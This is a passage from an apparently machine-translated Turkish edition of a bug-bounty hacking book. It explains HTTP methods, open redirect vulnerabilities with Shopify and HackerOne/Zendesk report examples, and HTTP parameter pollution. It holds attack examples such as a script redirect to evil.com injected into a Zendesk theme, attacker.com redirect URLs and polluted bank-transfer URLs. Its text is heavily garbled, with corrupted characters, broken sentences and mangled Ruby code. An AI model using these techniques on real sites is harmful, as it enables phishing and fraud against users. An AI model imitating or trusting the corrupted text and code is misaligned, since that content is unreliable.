</ Head>



<Body>
...

</ Body>
</ Html>

• Tarayıcınız, döndürülen HTML, CSS ve JavaScr�pt’� ayrıştırır ve oluşturur. Bunda
Bu durumda, Google.com'un ana sayfası ekranınızda göster�lecekt�r.

Ş�md�, özell�kle tarayıcı, �nternet ve HTML �le �lg�l� olarak
daha önce, bu mesajların nasıl gönder�leceğ�ne da�r b�r
Tüm HTTP / 1.1 �ç�n kullanılan bel�rl� yöntemler ve b�r Host �stek başlığının gerekl�l�ğ�
4. maddede bel�rt�ld�ğ� g�b� talepler: 4. Tanımlanan yöntemler arasında GET, HEAD, POST, PUT,
SİL, İZ, BAĞLANTI ve SEÇENEKLER.

GET metodu �stek tanımlanır ne olursa olsun b�lg� almak �ç�n anlamı
Tekdüzen İstek Tanımlayıcısı (URI). URI ter�m�, özell�kle ver�len
Yukarıdak� b�r URL’ye atıfta bulunmak, fakat esas olarak, bu k�tabın amaçları �ç�n
URL, b�r k�ş�n�n adres� g�b�d�r ve b�r k�ş�n�n adı g�b� b�r URI türüdür
(teşekkürler W�k�ped�a). HTTP pol�s� olmasa da, genell�kle GET �stekler� olmamalıdır
Herhang� b�r ver� değ�şt�rme fonks�yonuyla �l�şk�l�yken, yalnızca ver� almalı ve sağlamalıdır.

BAŞ Sunucu b�r vermemel�d�r har�c�nde yöntem GET mesajı aynıdır
yanıt olarak �let� gövdes�. Genelde bunun kullanıldığını sık sık görmezs�n�z ama görünüşe göre
genell�kle geçerl�l�k, er�ş�leb�l�rl�k ve son değ�ş�kl�kler �ç�n köprü met�n bağlantılarını sınamak �ç�n kullanılır.

POST yöntem� olarak, sunucu tarafından yapılması gereken b�r fonks�yonu çağırmak �ç�n kullanılan
sunucu tarafından bel�rlen�r. Başka b�r dey�şle, genell�kle b�r tür arka uç olacaktır.
yorum oluşturma, kullanıcı kaydetme, hesap s�lme vb.
POST'a yanıt olarak sunucu tarafından gerçekleşt�r�len eylem değ�şkenl�k göstereb�l�r.
aks�yon alınması �le sonuçlanır. Örneğ�n, �steğ� �şlerken b�r hata oluşursa.

PUT bazı fonks�yonu çağıran ancak mevcut b�r bahsederken yöntem� kullanılırsa
varlık. Örneğ�n, hesabınızı güncellerken, b�r blog gönder�s�n� güncellerken vb.
gerçekleşt�r�len eylem değ�ş�kl�k göstereb�l�r ve sunucunun h�çb�r �şlem yapmamasına neden olab�l�r.

SİL göründüğü g�b� yöntem, uzaktan kumanda �ç�n b�r �stek çağırmak �ç�n kullanılır ed�l�r
URI tarafından tanımlanan b�r kaynağı s�lmek �ç�n sunucuyu seç�n.
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İZ yöntem�, ger� yansıtmak �ç�n kullanılan bu kez başka nad�r b�r yöntemd�r
�stek sah�b�ne mesaj gönder�n. Bu �stekl�n�n ne aldığını görmes�ne �z�n ver�r
Sunucu tarafından ve bu b�lg�ler� test etme ve tanılama b�lg�ler� �ç�n kullanmak.

CONNECT yöntem� aslında b�r proxy �le kullanılmak üzere ayrılmıştır (proxy olan b�r temelde
�stekler� d�ğer sunuculara �leten sunucu)

SEÇENEKLER yöntem haberleşmey� hakkında b�r sunucudan b�lg� �steme kullanılır
katyon seçenekler� mevcuttur. Örneğ�n, SEÇENEKLER aranıyor, sunucunun
GET, POST, PUT, DELETE ve SEÇENEKLER çağrıları kabul eder, ancak BAŞ veya İZLEME kabul etmez.

Ş�md�, �nternet�n nasıl çalıştığının temel b�r anlayışıyla donanmış olarak,
İç�nde bulunab�lecek farklı güvenl�k açıkları.



Sayfa 25

4. Yönlend�rme Güvenl�k Açıklarını Açın

Açıklama

B�r mağdur bel�rl� b�r URL �ç�n bel�rl� b�r URL’y� z�yaret ett�ğ�nde açık b�r yönlend�rme güvenl�k açığı ortaya çıkar.
web s�tes� ve bu web s�tes� mağdurun tarayıcısına tamamen farklı b�r z�yarette bulunma tal�matı ver�r.
URL, ayrı b�r etk� alanında. Örneğ�n, Google’ın aşağıdak� URL’y� kullandığını varsayalım.
kullanıcıları Gma�l’e yönlend�rmek �ç�n:

https://www.google.com?red�rect_to=https://www.gma�l.com

Bu URL’y� z�yaret eden Google, b�r GET HTTP �steğ� alır ve red�rect_to öğes�n� kullanır.
z�yaretç�n�n tarayıcısının nereye yönlend�r�leceğ�n� bel�rleyen parametren�n değer�. Sonra
bu şek�lde, Google, kullanıcının tarayıcısına tal�mat vererek 302 HTTP yanıtı ver�r
https://www.gma�l.com adres�ne b�r GET �steğ� yapmak �ç�n , red�rect_to parametres�n�n değer�. Ş�md�,
or�j�nal URL’y� şu şek�lde değ�şt�rd�ğ�m�z� varsayalım:

https://www.google.com?red�rect_to=https://www.attacker.com

Google, red�rect_to parametres�n�n kend� okunaklı değerler�nden b�r� olduğunu doğrulamıyorsa



z�yaretç� göndermey� amaçladıkları s�telere benzemek ( örneğ�m�zde https://www.gma�l.com ),
bu açık b�r yönlend�rmeye karşı savunmasız olab�l�r ve tal�matı veren b�r HTTP yanıtı vereb�l�r.
z�yaretç�n�n tarayıcısı https://www.attacker.com adres�ne GET �steğ� yapmak �ç�n.

Özel b�r topluluk olan Açık Web Uygulaması Güvenl�ğ� Projes� (OWASP)
web’dek� en kr�t�k güvenl�k hatalarının b�r l�stes�n� oluşturan uygulama güvenl�ğ�
uygulamalar, bu güvenl�k açığını 2013'ün İlk On güvenl�k açığı l�stes�nde l�steled�. Açık
Örneğ�m�zde, https://www.google.com/ adres�ndek� bel�rl� b�r alan adının güvenl�ğ�nden faydalanılmasını
mağdurları kötü n�yetl� b�r web s�tes�ne çeker. Bu, kullanıcıları kandırmak �ç�n k�ml�k avı saldırılarında kullanılab�l�r
�nandıklarına göre, değerl� oldukları zaman güven�l�r s�teye b�lg� gönder�yorlar.
b�lg�ler aslında kötü amaçlı b�r s�teye g�d�yor. Bu aynı zamanda saldırganların dağıtımını sağlar
kötü amaçlı s�teden kötü amaçlı yazılım veya OAuth bel�rteçler� çalmak (daha sonra ele aldığımız b�r konu)
bölüm).

Bu tür güvenl�k açıklarını ararken, gönder�len b�r GET �steğ�n� arıyorsunuz
Test ett�ğ�n�z s�teye, yönlend�r�lecek URL’y� bel�rten b�r parametre �le.

Örnekler

1. Shop�fy Theme Install Açık Yönlend�rme

Zorluk : Düşük
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URL : app.shop�fy.com/serv�ces/google/themes/prev�ew/supply–blue?doma�n_name=XX

Rapor Bağlantısı : https://hackerone.com/reports/1019621

Rapor Tar�h� : 25 Kasım 2015

Ödemel� Ödül : 500 Dolar

Tanım :

İlk açık yönlend�rme örneğ�m�z, b�r e-t�caret çözümü olan Shop�fy'da bulundu.
Bu, kullanıcıların malları satmak �ç�n b�r çevr�m�ç� mağaza kurmasını sağlar. Shop�fy'ın platformu
yönet�c�ler mağazalarının görünümler�n� ve h�sler�n� k�ş�selleşt�rmek �ç�n ve
Bunu yen� b�r tema yükleyerek yapab�l�rs�n�z. Bu �şlevsell�ğ�n b�r parçası olarak, daha önce Shop�fy
yen�den yönlend�rme parametres� �çeren URL'ler aracılığıyla tema �ç�n b�r ön�zleme sağladı.
yönlend�rme URL's� okunab�l�rl�k �ç�n değ�şt�rd�ğ�m aşağıdak�ne benzer:

https://app.shop�fy.com/themes/prev�ew/blue?doma�n_name=example.com/adm�n

Temanın ön�zlemes�n� görüntülemek �ç�n URL’n�n b�r kısmı, sonunda b�r doma�n_name parametres� �çer�yordu.
yönlend�r�lecek başka b�r URL bel�rt�lecek URL. Shop�fy yönlend�rme URL’s�n� doğrulamıyor
Bu nedenle, b�r kurbanı http://example.com/adm�n adres�ne yönlend�rmek �ç�n parametre değer�nden yararlanılab�l�r.
Kötü n�yetl� b�r saldırganın kullanıcıyı k�ml�k avı edeb�leceğ� yer.

çıkarımlar

Tüm güvenl�k açıkları karmaşık değ�ld�r. Bu açık yönlend�rme, bas�tçe değ�şen gerekl�
doma�n_name parametres�, sonuçta sonuçlanacak har�c� b�r s�teye
b�r s�te dışına Shop�fy'dan yönlend�r�l�yor.

2. Shop�fy G�r�ş Aç Yönlend�rme

https://translate.google.com/translate?hl=tr&prev=_t&sl=auto&tl=tr&u=https://hackerone.com/reports/101962


Zorluk : Orta

URL : http://mystore.myshop�fy.com/account/log�n

Rapor Bağlantısı : https://hackerone.com/reports/1037722

Rapor Tar�h� : 6 Aralık 2015

Ödemel� Ödül : 500 Dolar

Tanım :

Bu açık yönlend�rme, burada bel�rt�len �lk Shop�fy örneğ�ne benz�yor, Shop�fy'ın parametres�
kullanıcıyı URL parametres� tarafından bel�rt�len etk� alanına yönlend�rm�yor,
parametren�n, Shop�fy alt etk� alanının sonundak� değer�. Normalde bu olurdu

1 https://hackerone.com/reports/101962
2 https://hackerone.com/reports/103772

Sayfa 27

Yönlend�rme Güvenl�k Açıklarını Aç 15

B�r kullanıcıyı bel�rl� b�r mağazadak� bel�rl� b�r sayfaya yönlend�rmek �ç�n kullanılmıştır. Kullanıcı g�r�ş yaptıktan sonra
Shop�fy'da, Shop�fy kullanıcıyı yönlend�rmek �ç�n checkout_url parametres�n� kullanır. Örneğ�n,
eğer b�r mağdur z�yaret etm�şse:

http://mystore.myshop�fy.com/account/log�n?checkout_url=.attacker.com

URL’ye yönlend�r�leceklerd�:

http://mystore.myshop�fy.com.attacker.com

aslında b�r Shop�fy etk� alanı değ�l çünkü .attacker.com'da b�t�yor. DNS
aramalar bu örnekte en sağdak� etk� alanı et�ket� olan .attacker.com adres�n� kullanır . Öyleyse ne zaman:

http://mystore.myshop�fy.com.attacker.com

DNS araması �ç�n gönder�ld�, Shop�fy’a a�t olmayan attacker.com’da eşleşecek,
ve myshop�fy.com'u Shop�fy'ın �sted�ğ� g�b� değ�l.

Shop�fy mağaza URL’s�n� b�rleşt�rd�ğ�nden, bu durumda http://mystore.myshop�fy.com ,
checkout_url parametres�, b�r saldırgan herhang� b�r yere kurban gönderemez
özgürce. Ancak saldırgan, kullanıcıyı sağladıkları sürece başka b�r etk� alanına göndereb�l�r
yönlend�rme URL’s� aynı alt etk� alanına sah�pt�.

çıkarımlar

Yönlend�rme parametreler� her zaman açıkça et�ketlenmem�ş olab�l�r, çünkü parametreler
s�teden s�teye farklı hatta b�r s�te �ç�nde b�le adlandırılab�l�r. Bazı durumlarda sen
parametreler�n r = g�b� tek karakterlerle et�ketlend�ğ�n� b�le bulab�l�r veya
u = .Açık yönlend�rmeler� ararken URL parametreler�n� göz önünde bulundurun
URL’ler�, yönlend�rme, sonrak�, vb. kel�meler� �çer�r.
s�teler kullanıcıları yönlend�recekt�r.

Ayrıca, s�ten�n döndürdüğü son URL’n�n yalnızca b�r bölümünü kontrol edeb�l�yorsanız,
örneğ�n, yalnızca checkout_url parametre değer�n� ve parametren�n
mağaza g�b� s�ten�n arka tarafındak� kodlanmış b�r URL �le b�rleşt�r�l�yor
URL http://mystore.myshop�fy.com , nokta g�b� özel URL karakterler� eklemey� deney�n veya
@ URL'n�n anlamını değ�şt�rmek ve b�r kullanıcıyı başka b�r etk� alanına yönlend�rmek �ç�n.

3. HackerOne Interst�t�al Red�rect

https://translate.google.com/translate?hl=tr&prev=_t&sl=auto&tl=tr&u=https://hackerone.com/reports/103772
https://translate.google.com/translate?hl=tr&prev=_t&sl=auto&tl=tr&u=https://hackerone.com/reports/101962
https://translate.google.com/translate?hl=tr&prev=_t&sl=auto&tl=tr&u=https://hackerone.com/reports/103772


Zorluk : Orta

URL : Yok

Rapor Bağlantısı : https://hackerone.com/reports/1119683

Rapor Tar�h� : 20 Ocak 2016

3 https://hackerone.com/reports/111968
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Ödemel� Ödül : 500 Dolar

Tanım :

Geç�ş reklamı web sayfası, beklenen �çer�kten önce göster�len sayfadır. B�r�n� kullanmak b�r
Herhang� b�r zamandan ber� açık yönlend�rme açıklarına karşı korunmak �ç�n yaygın b�r yöntem
B�r kullanıcıyı b�r URL’ye yönlend�r�rken, b�r geç�ş reklamı web sayfasını mesajla b�rl�kte göstereb�l�rs�n�z.
Kullanıcıya bulundukları alandan çıktıklarını açıklamak. Bu şek�lde, eğer yönlend�rme
sayfa sahte g�r�ş yaptığını göster�yor veya güven�l�r etk� alanı g�b� davranmaya çalışıyor, kullanıcı b�lecek
yönlend�r�lmeler�. HackerOne'un tak�p ett�ğ� zaman bu yaklaşım
örneğ�n, gönder�len raporlardak� bağlantıları tak�p ederken s�teler�n�n dışındak� URL’ler�n çoğu. olmasına rağmen
geç�ş reklamı web sayfaları, güvenl�k açıklarını ve bu yoldak� kompl�kasyonları önlemek �ç�n kullanılır.
s�teler b�rb�rler�yle etk�leş�me g�rmeye devam ederse, y�ne de bağlantıların bozulmasına neden olab�l�r.

HackerOne, müşter� h�zmetler� destek b�letleme s�stem� olan Zendesk'� desteklemes� �ç�n kullanıyor
alt alan. Hackerone.com / zendesk_sess�on tarafından tak�p ed�ld�ğ�nde kullanıcılar
Geç�ş yapmadan HackerOne platformundan HackerOne Zendesk platformuna l�derl�k
sayfa HackerOne, hackerone.com'u �çeren URL'lere güvend�. Bunlara ek olarak,
Zendesk, kullanıcıların / red�- parametres� aracılığıyla d�ğer Zendesk hesaplarına yönlend�rmeler�ne �z�n verd�

rect_to_account? state = geç�ş reklamı olmadan.

Bu yüzden, bu raporla �lg�l� olarak, Mahmoud Jamal Zendesk'te b�r hesap oluşturdu.
Alt etk� alanı, http://compayn.zendesk.com ve aşağıdak� Javascr�pt kodunu
yönet�c�ler�n k�ş�selleşt�rmeler�n� sağlayan Zendesk tema düzenley�c�s�ne sah�p b�r üstb�lg� dosyası
Zendesk s�tes�n�n bakışı ve h�ss�:

<scr�pt> document.locat�on.href = "http://ev�l.com"; </scr�pt>

Burada, Mahmoud, tarayıcıya http://ev�l.com adres�n� z�yaret etmes�n� b�ld�rmek �ç�n JavaScr�pt kullanıyor . Süre
JavaScr�pt özell�kler�ne dalmak, bu k�tabın kapsamı dışındadır, <scr�pt> et�ket�
HTML ve belgede kod bel�rtmek �ç�n kullanılan tüm HTML belges�ne atıfta bulunur
web sayfasının b�lg�ler� olan Zendesk tarafından �ade ed�l�yor. Noktalar ve
dokümanı tak�p eden �s�mler özell�kler�d�r. Mülk�yet b�lg� ve değerler� tutar
ya özell�kler� oldukları nesnen�n tanımlayıcıları ya da man�püle ed�leb�lecekler�
nesnes�n� değ�şt�rmek �ç�n. Böylece locat�on özell�ğ� web sayfasını kontrol etmek �ç�n kullanılab�l�r
tarayıcınız ve href alt özell�ğ� (konumun özell�ğ� olan)
tarayıcıyı tanımlanmış web s�tes�ne yönlend�r�r. Dolayısıyla, aşağıdak� bağlantıyı z�yaret etmek yönlend�r�r
kurbanın tarayıcısının çalışmasını sağlayacak olan Mahmoud Zendesk alt etk� alanına kurbanlar
Mahmoud’ın bet�ğ�n� ve http://ev�l.com adres�ne yönlend�r�n (not, URL �ç�n düzenlenm�şt�r.
okunab�l�rl�ğ�):

https://hackerone.com/zendesk_sess�on?return_to=https://support.hackerone.com/p�ng/red�rect?state=compayn:/

Bağlantı hackerone.com alanını �çerd�ğ�nden, geç�ş reklamı web sayfası görünmüyor
Oynatıldı ve kullanıcı z�yaret ett�kler� sayfanın güvenl� olmadığını b�lm�yor. Ş�md�, �lg�nç b�r şek�lde,
Mahmud aslen bu yönlend�rme konusunu Zendesk'e b�ld�rd�, ancak bu �hmal ed�ld�.
b�r güvenl�k açığı olarak �şaretlenmem�ş. Doğal olarak, nasıl olab�leceğ�n� görmek �ç�n kazmaya devam ett�.

https://translate.google.com/translate?hl=tr&prev=_t&sl=auto&tl=tr&u=https://hackerone.com/reports/111968
https://translate.google.com/translate?hl=tr&prev=_t&sl=auto&tl=tr&u=https://hackerone.com/reports/111968


sömürülen.
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çıkarımlar

Güvenl�k açıklarını ararken, b�r s�ten�n kullandığı h�zmetler� d�kkate alın
her b�r� yen� saldırı vektörler�n� tems�l eder. İşte bu güvenl�k açığı mümkün oldu
HackerOne'un Zendesk kullanımını ve b�l�nen yönlend�rmey� b�rleşt�rerek
�z�n.

Ek olarak, hataları bulduğunuzda, güvenl�k uygulamasının gerçekleşt�ğ� zamanlar da olacaktır.
S�z�n �ç�n okuyan ve cevaplayan k�ş� tarafından kolayca anlaşılmaz.
b�ld�r�. Bu nedenle, Güvenl�k Açığı Raporları �le �lg�l� ayrıntıları �çeren b�r bölümüm var.
B�r rapora dah�l etmek, ş�rketler �le �l�şk�ler�n nasıl kurulacağını ve d�ğer
b�lg�. Önceden küçük b�r �ş yaparsanız ve güvenl�ğ� saygıyla açıklarsanız
Raporunuzdak� çıkarımlar, daha yumuşak b�r çözüm sağlanmasına yardımcı olacaktır.

Ancak, bu b�le olsa, ş�rketler�n s�z�nle aynı f�k�rde olmadığı zamanlar olacak.
Eğer durum buysa, Mahmoud’ın yaptığı g�b� kazmaya devam ed�n ve
etk�nl�ğ� göstermek �ç�n onu başka b�r güvenl�k açığı �le sömürün veya b�rleşt�r�n.

özet

Açık yönlend�rmeler, kötü n�yetl� b�r saldırganın �nsanları b�lmeden kötü n�yetl� b�r k�ş�ye yönlend�rmes�n� sağlar
İnternet s�tes�. Onları bulmak, bu örnekler�n gösterd�ğ� g�b�, sıklıkla kesk�n gözlem gerekt�r�r.
Yönlend�rme parametreler� bazen red�rect_to =, doma�n_- g�b� �s�mlerle kolayca anlaşılab�l�r
name =, checkout_url =, vb. Oysa d�ğer zamanlarda daha az bel�rg�n olab�l�rler
r =, u = ve benzer� �s�mler.

Bu tür b�r güvenl�k açığı, mağdurların z�yaret etmeler� �ç�n kandırıldıkları b�r güven kötüye kullanımına dayanıyor
B�r saldırganın s�tes�, tanıdıkları b�r s�tey� z�yaret edecekler�n� düşünüyor. Muhtemel tesp�t ett�ğ�n�zde
hassas parametreler, bunları �y�ce test ett�ğ�n�zden ve özel karakterler ekled�ğ�n�zden em�n olun,
URL’n�n b�r kısmı sab�t kodlanmışsa, b�r dönem g�b�.

Ek olarak, HackerOne geç�ş reklamı yönlend�rmes�, mesajların tanınmasının önem�n� göster�r.
güvenl�k açıklarını ve ne kadar zaman zaman avlanırken web s�teler� ve araçlar kullanıyor
tanınmadan önce ısrarcı olmanız ve b�r güvenl�k açığı olduğunu açıkça göstermen�z gerek�r.
ve ödül �ç�n kabul ed�ld�.
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Açıklama

HTTP Parameter K�rl�l�ğ� veya HPP, b�r web s�tes�n�n param davranışını nasıl değ�şt�rd�ğ�n� bel�rt�r.
HTTP �stekler� sırasında aldığı g�b�. Güvenl�k açığı, parametreler olduğunda ortaya çıkar
Güvenl�k açığı bulunan web s�tes� tarafından enjekte ed�l�r ve güven�lmez, beklenmed�k davranışlara yol açar. Bu
arka tarafta, sunucu tarafında, s�ten�n sunucularını z�yaret ett�ğ�n�z yerde olab�l�r.
b�lg�ler� s�z�n �ç�n veya müşter� tarafında görünmeyen b�lg�ler� göreb�l�r;
genell�kle tarayıcınız olan �stemc�n�zde

Sunucu Tarafı HPP

B�r web s�tes�ne talepte bulunduğunuzda, s�ten�n sunucuları �steğ� �şler ve ger� döner.
Bölüm 1'de ele aldığımız g�b� b�r cevap. Bazı durumlarda, sunucular sadece ger� dönmeyeceklerd�r.
B�r web sayfası, ancak aynı zamanda aracılığıyla ver�len b�lg�lere dayanarak bazı kodlar çalıştıracaktır.
URL gönder�ld�. Bu kod yalnızca sunucularda çalışır, bu yüzden aslında s�z�n �ç�n görünmez -
gönderd�ğ�n�z b�lg�ler� ve ger� aldığınız sonuçları, ancak
arasında b�r kara kutu var. Sunucu tarafı HPP'de, sunuculara beklenmeyen b�lg�ler� gönder�yorsunuz
Sunucu tarafı kodunu yapma g�r�ş�m�nde beklenmed�k sonuçlar döndürülüyor. Çünkü yapamazsın
Sunucu kodunun nasıl çalıştığını görmek �ç�n sunucu tarafındak� HPP s�ze
potans�yel olarak savunmasız parametreler ve bunlarla deneme.

Bankanız kend� hesabınıza havale yapmaya başladığında, sunucu tarafında b�r HPP örneğ� olab�l�r.
URL parametreler�n� kabul ederek sunucularında �şlenen web s�tes�. Sen söyle
Üç URL parametres�ndek� değerler�, �la arasında ve tutarında değerler� doldurarak para aktarab�l�r,
Para transfer ed�lecek hesap numarasını, transfer ed�lecek hesabı bel�rleyecekt�r.
ve bu sırayla aktarılacak tutar. Aktarılan bu parametrelere sah�p b�r URL
12345 hesap numarasından 67890 hesap numarasına 5.000 ABD doları şöyle görüneb�l�r:

https://www.bank.com/transfer?from=12345&to=67890&amount=5000

Banka sadece b�r tane alacağı varsayımını yapab�l�r.
parametres�nden Ancak, �k� tane gönder�rsen�z, aşağıdak� g�b� olur:

https://www.bank.com/transfer?from=12345&to=67890&amount=5000&from=ABCDEF

Bu URL başlangıçta �lk örneğ�m�zle aynı şek�lde yapılandırılmış, ancak
ABCDEF gönderen başka b�r hesap bel�rten parametre. Tahm�n edeb�leceğ�n�z g�b�
uygulama HPP'ye açıksa, saldırgan b�r aktarım gerçekleşt�reb�l�r
bankanın aldığı parametreden en son güvend�ğ� takd�rde sah�p olmadıkları b�r hesaptan.
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Sunucu tarafı kodu hesap 12345’ten 67890’a 5.000 ABD doları aktarmak yer�ne



�k�nc� parametrey� kullanın ve ABCDEF hesabından 67890’a para gönder�n.

Hem HPP sunucu tarafı hem de �stemc� tarafı güvenl�k açıkları, sunucunun nasıl davrandığına bağlıdır
Aynı ada sah�p b�rden fazla parametre alırken. Örneğ�n, PHP / Apache
Son oluşumu kullanın, Apache Tomcat �lk oluşumu, ASP / IIS heps�n� kullanın.
olaylar, vb. Sonuç olarak, kullanım �ç�n tek b�r garant�l� �şlem yoktur.
Aynı �s�mde b�rden fazla parametre tesl�m� ve HPP’n�n bulunması bazı
test ett�ğ�n�z s�ten�n nasıl çalıştığını doğrulamak �ç�n deneme.

Ş�md�ye kadark� örneğ�m�zde açık olan parametreler kullanılırken, bazen HPP açık
bağlar, doğrudan görülemeyen koddak� g�zl�, sunucu tarafı davranışının b�r sonucu olarak ortaya çıkar.
sen. Örneğ�n, d�yel�m k� bankamız transfer �şlemler�n� rev�ze etmeye karar verd�
ve arka uç kodunu URL’de b�r from parametres�n� �çermeyecek şek�lde değ�şt�rd�, ancak
İç�nde b�rden çok değer tutan b�r d�z� alın.

Bu kez, bankamız hesabın havale yapması �ç�n �k� parametre alacaktır.
aktarılacak tutar. Aktarılacak hesap sadece ver�lecek. Örnek b�r l�nk
aşağıdak� g�b� görüneb�l�r:

https://www.bank.com/transfer?to=67890&amount=5000

Normalde sunucu tarafı kodu b�z�m �ç�n b�r g�zem olur, ama neyse k� onların heps�n� çaldık
kaynak kodu ve b�l�yorum k� (bu örnek uğruna açıkça korkunç) sunucu-
s�de Ruby kodu şöyle görünür:

user.account = 12345

def prepare_transfer (params)
params << user.account

transfer_money (params) # user.account (12345) params olur [2]

son

def transfer_money (params)

= params [0]
m�ktar = param [1]

= params [2] den

Transfer (, bu m�ktar, dan)
son

Bu kod �k� �şlev yaratır: prepare_transfer ve transfer_money. Hazırla
Transfer fonks�yonu b�r d�z� adı alır params �ht�va etmek ve m�ktarı
URL’den parametreler. D�z�, d�z� değerler�n�n olduğu [67890,5000] olacaktır.
parantez arasında sıkıştırılmış ve her değer b�r v�rgül �le ayrılmıştır. İlk satır
�şlev, daha önce kodda tanımlanmış olan kullanıcı hesabı b�lg�ler�n�
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d�z�n�n sonuna, yan� [67890,5000,12345] d�z�s�ne param�tlerle ve sonra
params transfer_money geç�r�l�r.

Parametreler�n aks�ne, Ruby d�z�ler�n�n kend� adlarıyla �l�şk�lend�r�lm�ş adları olmadığını fark edeceks�n�z.
bu nedenle kod, her zaman sırayla her b�r değer� �çeren d�z�ye bağlıdır.
aktarılacak hesabın �lk olduğu yerde, aktarılacak tutar sonrak� sıradadır ve hesap
d�ğer �k� değer� tak�p etmek �ç�n. Transfer_money'de, bu,
�şlev her d�z� değer�n� b�r değ�şkene atar. D�z� konumları başlangıçta numaralandırılmış



0'dan, bu nedenle paragraflar [0], d�z�dek� �lk konumdak� değere er�ş�r;Bu durumda, ve değ�şkene atar etmek . D�ğer değerler değ�şkenlere de atanır
sonrak� �k� satırda ve sonra değ�şken �s�mler� transfer fonks�yonuna geç�r�l�r,
bu kod sn�ppet'�nde göster�lmez, ancak değerler� alır ve gerçekte
para.

İdeal olarak, URL parametreler� her zaman kodun bekled�ğ� şek�lde b�ç�mlend�r�l�r.
Bununla b�rl�kte, saldırgan �leterek bu mantık sonucunu değ�şt�reb�l�r gelen değer�
paragraflara, aşağıdak� URL'de olduğu g�b�:

https://www.bank.com/transfer?to=67890&amount=5000&from=ABCDEF

Bu durumda, from parametres� ayrıca kend�s�ne gönder�len params d�z�s�ne de dah�l ed�l�r.
prepare_transfer �şlev�, d�z�ler�n değerler� [67890,5000, ABCDEF] ve
kullanıcı hesabının eklenmes� aslında [67890,5000, ABCDEF, 12345] �le sonuçlanab�l�r. Sonuç olarak,
prepare_transfer �ç�nde çağrılan transfer_money �şlev�nde, from değ�şken
12345 user.account değer�n� beklemek �ç�n üçüncü parametrey� alın, ancak gerçekte
saldırganın geçt�ğ� ABCDEF değer�ne atıfta bulun.

İstemc� Tarafı HPP

Öte yandan, HPP �stemc� tarafı güvenl�k açıkları, parametreler� enjekte etme yeteneğ�n� �çer�r
daha sonra sayfaya ger� kullanıcıya yansıyan b�r URL'ye.

Bu güvenl�k açığından bahseden �k� araştırmacı Luca Caretton� ve Stefano d� Paola
2009'da yazın, bu davranışın b�r örneğ�n� kullanarak sunumlarına
teor�k URL http: //host/page.php? par = 123% 26act�on = düzenle ve sonrak� sunucu tarafı
kod:

<? $ val = htmlspec�alchars ( $ _GET [ 'par' ], ENT_QUOTES); ?>

<a href= "/page.php?act�on=v�ew&par='. <? = $val ?> . '" > Ben� Görün ! </a>

Burada, kod kullanıcının g�rd�ğ� URL'y� temel alan yen� b�r URL oluşturur. Oluşturulan URL
�k�nc�s� bel�rlenen b�r �şlem parametres� ve b�r par parametres� �çer�r
kullanıcının URL’s�ne göre. Teor�k URL’de, saldırgan 123% 26act�on = değ�şt�r
URL’dek� par �ç�n değer olarak . % 26, & �ç�n URL kodlu değerd�r, yan�
URL ayrıştırıldığında,% 26, & olarak yorumlanır. Bu ek b�r parametre ekler
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Açık b�r �şlem parametres� eklemeden oluşturulan href bağlantısına . Kullanmışlar mı
123 & act�on = ed�t, bunun yer�ne �k� ayrı parametre olarak yorumlanırdı.
böylece par 123 eş�t olur ve parametre eylem düzenlemey� eş�t olacaktır. Ancak s�teden ber�
sadece yen� URL'y� oluşturmak �ç�n kodundak� par parametres�n� arıyor ve kullanıyor
eylem parametres� bırakılır. Bu sorunu çözmek �ç�n% 26 kullanılır.
bu �şlem başlangıçta ayrı b�r parametre olarak tanınmaz, bu nedenle par'ın değer�
% 123 26act�on = düzenlemek.

Ş�md�, par (kodlanmış ve% 26 g�b�) htmlspec�alchars �şlev�ne geç�r�l�r.
Bu �şlev,% 26 g�b� özel karakterler� HTML kodlanmış değerler�ne dönüştürür
sonuçlanan% 26 �se &. Dönüştürülen değer daha sonra $ val'a kayded�l�r. O zaman yen�
l�nk, adres�ndek� href değer�ne $ val ekleyerek oluşturulur. Böylece oluşturulan l�nk olur:

<a href="/page.php?act�on=v�ew&par=123&act�on=ed�t">

Bunu yaparken, saldırgan ek eylem� eklemey� başardı = href URL's�ne düzenle
bu, sunucunun �k� alıcıyı alma b�ç�m�ne bağlı olarak b�r güvenl�k açığına neden olab�l�r



�şlem parametreler�

Örnekler

1. HackerOne Sosyal Paylaşım Düğmeler�

Zorluk : Düşük

URL : https://hackerone.com/blog/�ntroduc�ng-s�gnal-and-�mpact

Rapor Bağlantısı : https://hackerone.com/reports/1059531

Rapor Tar�h� : 18 Aralık 2015

Ödemel� Ödül : 500 Dolar

Tanım :

HackerOne blog gönder�ler�, �çer�ğ� g�b� popüler sosyal medya s�teler�nde �çer�k paylaşmak �ç�n bağlantılar �çer�r
Tw�tter, Facebook vb. Bu bağlantılar kullanıcının göndereceğ� �çer�k oluşturur
Özgün blog gönder�s�ne ger� bağlanan sosyal medya. Gönder�ler� oluşturma bağlantıları
başka b�r kullanıcı paylaşılan yayını tıklattığında blog yayınına yönlend�ren parametreler.

B�r b�lg�sayar korsanının başka b�r URL parametres�nde yapab�leceğ� b�r güvenl�k açığı keşfed�ld�
paylaşılan sosyal medya bağlantısına yansıtılacak olan b�r blog gönder�s�n� z�yaret ederken,
Böylece, paylaşılan gönder�y�, amaçlanan blogdan başka b�r yere bağlayarak sonuçlandı.
Güvenl�k açığı raporunda kullanılan örnek, URL’y� z�yaret etmey� �çer�yordu:

https://hackerone.com/blog/�ntroduc�ng-s�gnal

1 https://hackerone.com/reports/105953
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ve sonra ekleme

& U = https: //vk.com/durov

Bunun sonuna kadar. Blog sayfasında, Facebook'ta paylaşılacak b�r bağlantının ne zaman oluşturulduğu
HackerOne bağlantı olur:

https://www.facebook.com/sharer.php?u=https://hackerone.com/blog/�ntroduc�ng-s�gnal?&u=https://vk.com/durov

Kötü n�yetl� olarak güncellenen bu bağlantı, �çer�ğ� paylaşmaya çalışan HackerOne z�yaretç�ler� tarafından tıklandıysa
Sosyal medya bağlantıları aracılığıyla, son u parametres�ne öncel�k sırasına göre öncel�k ver�lecekt�r.
önce ve sonra Facebook gönder�s�nde kullanılır. Bu Facebook kullanıcılarına yol açacaktır
bağlantıyı tıklatarak ve HackerOne yer�ne https://vk.com/durov adres�ne yönlend�r�l�r.

Ek olarak, Tw�tter’a gönder�l�rken, HackerOne’da varsayılan Tweet metn�
yazıyı tanıtırdı. Bu , url’ye & text = eklenerek de değ�şt�r�leb�l�r:

https://hackerone.com/blog/�ntroduc�ng-s�gnal?&u=https://vk.com/durov&text=another_s�te:https://vk.com/durov

B�r kullanıcı bu bağlantıyı tıklandığında sonra, met�n vardı b�r Tweet pop-up alacağı another_-
s�te: HackerOne blogunu tanıtan met�n yer�ne https://vk.com/durov .

